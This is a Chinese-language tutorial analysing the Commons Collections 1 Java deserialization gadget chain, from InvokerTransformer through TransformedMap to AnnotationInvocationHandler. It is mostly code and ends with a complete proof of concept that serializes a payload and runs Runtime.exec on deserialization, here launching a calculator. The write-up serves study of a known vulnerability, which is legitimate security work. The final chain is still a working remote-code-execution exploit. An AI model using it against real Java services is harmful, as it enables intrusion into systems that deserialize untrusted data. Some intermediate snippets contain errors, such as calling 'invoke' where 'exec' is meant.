CommonsCollections1 (CC1链分析)
什么是Commons Collections?
根据维基百科的介绍,Apache Commons是Apache软件基金会的项目,曾隶属于Jakarta项目。Commons的目的是提供可重用的、开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
TransformMap
我们想要利用的是JAVA反序列化来实现我们执行恶意代码的目的,我们在去寻找readObject这个序列化函数利用之前,我们可以去寻找我们能执行我们的恶意代码的地方,这里我们就可以使用org.apache.commons.collections.Transformer#transform
这里面的transform方法来达到第一个目的
第一阶段----利用InvokerTransformer(找到可以RCE的点)
首先我们可以查看transformer.class这个文件里面
package org.apache.commons.collections;
public interface Transformer {
21 implenments
Object transform(Object var1);
}
这里面很多其他的类都实现了这个接口
这里就需要我们来一个一个的看一看有没有可以利用的地方了,这里有很多的类,我们看一看里面对transform方法的实现就OK了
##ChainedTransformer
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}//这个transform方法对我们的对象进行了遍历,然后传递给了iTransformers[i]这个数组。
这个似乎对传入对象的类型是有要求的。
//ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
##ConstantTransformer
private final Object iConstant;
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}//这个方法实际就是调用了一下这个方法,返回构造方法里面的类而已。可以用来获取类。
##ClosureTransformer
private final Closure iClosure;
public Object transform(Object input) {
this.iClosure.execute(input);
return input;
}
//这里的excute最开始我是觉得有命令执行点的,但是这是没用的。
##InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
//这个就比较的有意思了,这里面反射得到invoke函数可以用来命令执行的,调用这个类里面的这个方法就能达到我们RCE的目的了
这个InvokerTransformer的规范使用
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
里面需要三个参数用来描述命令
这里实际上我们就可以联系之前的反射RCE来弹计算机了,我们可以使用ConstantTransformer这个类里面的transform方法来获取我们的Runtime类
new ConstantTransformer(Runtime.getRuntime());//普通的类可以实例化
这样我们再使用InvokerTransformer里面的transform方法来RCE
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
这里我们有两种思路
- 直接使用Runtime R=Runtime.getRuntime();,来代替ConstantTransformer的transform方法,作为InvokerTransformer的Object input.
- 找到能同时调用两个类里面的transform方法,这里我们可以使用ChainedTransformer里面的数组遍历的方式,然后实现对数组里面的对象的方法进行调用
第一种思路实现RCE
public class cc1 {
public static void main(String []args) throws Exception{
Runtime R=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
System.out.println(invokerTransformer.transform(R));
}
}
第二种思路数组遍历调用方法实现RCE
-
首先测试数组遍历是否能执行里面对象的方法
public class ceshi { // 定义一个函数,打印整数参数 public static void printNumber(int number) { System.out.println("打印数组元素: " + number); } public static void main(String[] args) { // 创建一个整数数组 int[] numbers = {1, 2, 3, 4, 5}; // 遍历数组,调用函数打印每个元素 for (int number : numbers) { printNumber(number); } } } 打印数组元素: 1 打印数组元素: 2 打印数组元素: 3 打印数组元素: 4 打印数组元素: 5
测试成功,
public static void main(String []args) throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
}
这里就有另外一个问题了就是怎么调用ChainedTransformer呢,下面我们慢慢实现它。
第二阶段—找到能形成链子的类和方法—》TransformedMap
在我们给出的CC1链子里面会有这一步
这里凭借猜测都会知道,这个肯定是调用了我们第一阶段里面的ChainedTransformer,这里我们直接通过下断点看他会进入哪里
这里调试之后去会进入TransformedMap这个类里面,开始分析这个类
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);
其中,keyTransformer
是处理新元素的Key的回调,valueTransformer
是处理新元素的value的回调。我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer
接⼝的类。
Map innermap=new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
这里我们就得想了,我们用这个TransformedMap可以实现回调的功能但是我们的回调又如何触发嘞?
这里搜索得到,我们可以使用put
方法写入键值来触发回调
outerMap.put("test", "xxxx");xxxxxxxxxx outer.outerMap.put("test", "xxxx");
这里我们就可以写出一个简单的demo了
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String []args) throws Exception{
Transformer[] transformers =new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("invoke", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap=new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("value","null");
}
}
这段代码就可以让我们弹出计算机了,但是我们这里实际上只是一个分析得到的demo,我们真正的POC实际上是需要使用反序列化的,这里我们就需要开始寻找在哪里存在我们的readObject实现遍历目录的操作?
第三阶段—实现完整的反序列化POC
接下来我们需要找到一个类,这个类重写了readObject()
,并且readObject中直接或者间接的调用了刚刚找到的那几个方法:transformKey、transformValue、checkSetValue、put
等等
这里我们就是直接开始从TransformedMap里面开始追踪,这里面的checkSetValue是调用了我们的transform方法的,所以
这里会追踪到AbstractInputCheckedMapDecorator
里面的setValue
方法
可以看到这个类实际上是继承于AbstractMapEntryDecorator
追踪到这我们可以总结出来,实际上我们想要调用transform方法就通过一系列的调用只要实现setValue的调用,我们就可以达到
这里我分析时出现一个问题就是,为什么一定要去分析setValue呢?
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
这里调用这个SetValue的时候实际上也就是我们再简洁的调用了TransformeMap里面的装饰器功能,达到了我们对方法进行调用的目的,所以这里直接去找哪里重写的readObject,具体怎么找有待分析,这里直接找到现成的 AnnotationInvocationHandler
类里面的方法
这个类简直完美的适配我们的要求,能在触发反序列化的同时完成对数组的遍历。
这里使用这个类实际得注意
- 这个类是sun.reflect.annotation.AnnotationInvocationHandler类,这个类是jdk自带的,不是第三方的,必须得利用反射来获取到这个类、
这里又会有一个思考的地方就是我们的 constructor.newInstance这个方法实例化的类到底是什莫呢,
-
这里最开始是想直接使用一个transform.class,直接报错了
-
这里说是非注解型类型,难道这里是需要使用注解类型来使用吗?
注解类型的定义看起来和接口的定义很像,最早是在
interface
关键词前加了at
标志(@) (@ = AT, as in annotation type)。注解类型是接口的一种形式
- 简单来说就是有@的类都可以叫做注解类
这里我们使用Retention这个注解类,注解class,来获取构造函数,执行调用,利于反序列化操作。
public class cc1 {
public static void main(String []args) throws Exception{
Transformer[] transformers =new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("invoke", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap=new HashMap();
innerMap.put("value","null");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
constructor.setAccessible(true); //修改作用域
constructor.newInstance(Retention.class,outerMap);
}
}
这里就很奇怪了,我们执行成功了但是却没有成功弹出我们想要的计算机?
这里通过看了文章才知道,我们的调用Runtime.class的时候实际上是没有实现serialize接口的,所以我们就得使用其他方法反射得到方法
Class clazz = Runtime.class;
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Runtime runtime = (Runtime) getRuntimeMethod.invoke(null);
Class<? extends Runtime> runtimeClass = runtime.getClass();
Method execMethod = runtimeClass.getMethod("exec", String.class);
//这个是我们传统的方式,但是这个不能实现序列化和反序列化的操作
new ConstantTransformer(Runtime.class),// 获取 Runtime 对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 获取 exec 的 Method 对象并调用 invoke 执行 calc
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
这里我们的完整的demo就出来了
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.text.Annotation;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
public static void main(String []args) throws Exception{
Transformer[] transformers =new Transformer[] {
new ConstantTransformer(Runtime.class),// 获取 Runtime 对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 获取 exec 的 Method 对象并调用 invoke 执行 calc
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap=new HashMap();
innerMap.put("value","null");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);//触发回调函数,遍历数组
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
constructor.setAccessible(true); //修改作用域
//序列化
Object serializableObject = constructor.newInstance(Retention.class, outerMap);
ObjectOutputStream out =new ObjectOutputStream(new FileOutputStream("1.bin"));
out.writeObject(serializableObject);
//反序列化
ObjectInputStream in =new ObjectInputStream(new FileInputStream("1.bin"));
in.readObject();
}
}
最后我们来梳理一下思路
-
首先我们利用的是CommmonCollection里面的transform方法,找到了一个接口类transform.class,然后我们就去寻找了实现这个类的其他类,找到了可以反射获得对象的ConstantTransformer,命令执行的InvokerTransformer.调用前面两个类的ChainedTransformer(使用数组的方式)
-
然后我们就找到了TransformedMap,利用这个类的装饰器的功能,使用回调功能让我们实现对数组的遍历
-
最后就是我们得寻找一个重写readObject方法的类,里面能够在触发反序列化的时候实现对前面transform方法的触发,并且能够遍历数组,这里使用的就是
AnnotationInvocationHandler
-
readObject-->Setvalue-->transform-->InvokerTransform //个人看法 //transformMap ObjectInputStream.readObject() AnnotationInvocationHandler.readObject()-->调用Setvalue ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()